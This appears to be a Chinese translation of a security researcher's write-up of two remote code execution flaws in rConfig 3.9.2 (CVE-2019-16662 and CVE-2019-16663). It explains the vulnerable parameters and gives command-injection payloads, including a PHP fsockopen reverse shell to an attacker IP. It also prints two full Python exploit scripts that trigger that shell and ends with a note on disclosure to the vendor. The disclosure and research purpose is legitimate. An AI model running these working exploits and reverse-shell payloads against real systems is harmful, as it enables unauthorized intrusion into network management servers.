rConfig是一个开放源码的网络设备配置管理实用工具,用于网络工程师对网络设备的配置。
图1
我在两个文件中分别发现了两个远程代码执行漏洞。第一个是ajaxServerSettingsChk.php,攻击者可以通过rootUname参数发送精心构造的一个GET请求,触发未授权RCE漏洞。rootUname参数在源文件第2行中定义,随后会在第13行传递给exec函数,攻击者可以构造参数接收内容实现让操作系统执行恶意命令。这个漏洞很容易利用和发现,后面的篇幅中我将介绍如何发现并利用这个漏洞。
第二个漏洞是在search.crud.php发现的,这文件需要通过身份验证才能触发远程代码执行漏洞。这个漏洞可以通过构造一个包含有两个参数的GET请求触发,
其中searchTerm参数可以包含任意值,但该参数必须存在,才能执行到第63行的exec函数。
跟我平常找RCE漏洞的方法一样,因此我使用自己开发的一个Python脚本(https://github.com/mhaskar/RCEScanner)来列出有哪些不安全的函数。这个脚本在先前的案例研究中曾经使用过。
运行这个脚本过后输出了一些结果,我开始分析这些输出结果并且注意到路径为install/lib/ajaxHandlers/
的ajaxServerSettingsChk.php
文件,部分代码如下:
图2
从代码可以看出,第2行脚本代码的意思是将GET请求中的rootUname参数值赋值到$rootUname变量中。
在第12行,代码将$rootUname与一些字符串拼接在一起,保存到rootTestCmd1变量,然后传递给第13行的exec函数。后续代码执行了相同的操作。
因此,我们只需注入特定构造命令,在第13行跳出转义字符串来执行命令,为此,我们可以使用如下的Payload:
;your command #
为了方便测试,我修改了13行的exec函数,把exec执行后的命令返回结果显示到页面上,然后编码发送Payload,得到了如下结果:
图3
我们发送编码后的Payload,rootUname参数里经过URL编码的【; id #】命令被成功执行了两次。
为了得到shell,使用下面的Payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3”);
默认的CentOS 7.7 mini版本没有安装nc,所以使用这条Payload更方便测试。
在使用Burp编码并发送有效Payload之后,我们将获得以下内容:
图4
我们反弹回一个shell!
为了自动化完成该过程,我简单编写了一个python代码来利用这个漏洞:
脚本地址:https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
如下是执行脚本的结果:
图5
再次反弹得到shell!
RCE扫描器的另一个结果路径在:lib/crud/的search.crud.php文件中, 这个漏洞需要登录验证后才能利用。片段代码如下:
图6
首先我们需要传入一个get参数searchTeam来通过第25行的if语句,然后需要传入参数catCommand,在第61行被拼接$command参数后,传入第61行的函数去执行,catCommand参数就是包含Payload的关键参数。
首先,我们需要绕过第25行的if语句。发送名为searchTerm参数的GET请求,这样就能进入代码判断逻辑内部,然后我们还需要连合一个名为catCommand参数,这个参数里面包含我们的Payload,在第61行与一些字符串拼接起来后。进入代码判断逻辑内部函数后存储到$command变量中,在第63行传递给exec函数执行。
这里将使用sleep这个Payload来测试漏洞,这个Payload将尝试睡眠5秒钟,执行后观察响应时间并与正常响应时间进行比较就能判断执行成功与否。观察第61行的代码,可以有多种不同的Payload。
此处我的Payload:
""&&$(`sleep 5`)#
通过Burp发送这个Payload,我们能得到如下的响应信息:
图7
响应时间延迟了5000+毫秒,也就意味着命令执行成功了!
当然这里不限于仅仅是用sleep命令做测试,除此之外我们也可以尝试多种Payload。
为了得到一个shell,我使用了php的fsockopen并构造成可以跟串联字符串一起使用的Payload,如下所示:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了自动化利用该漏洞,我开发了一段简单的python代码:
代码地址:https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
运行漏洞利用代码后,我们能看到如下结果:
图8
成功反弹一个shell!
我在2019年9月19日向rConfig main developer报告了这两个漏洞,但是没有得到任何修复发布日期,甚至没有得到他们将修复该漏洞的声明。
所以在没有回应的35天后,我公布了这个漏洞。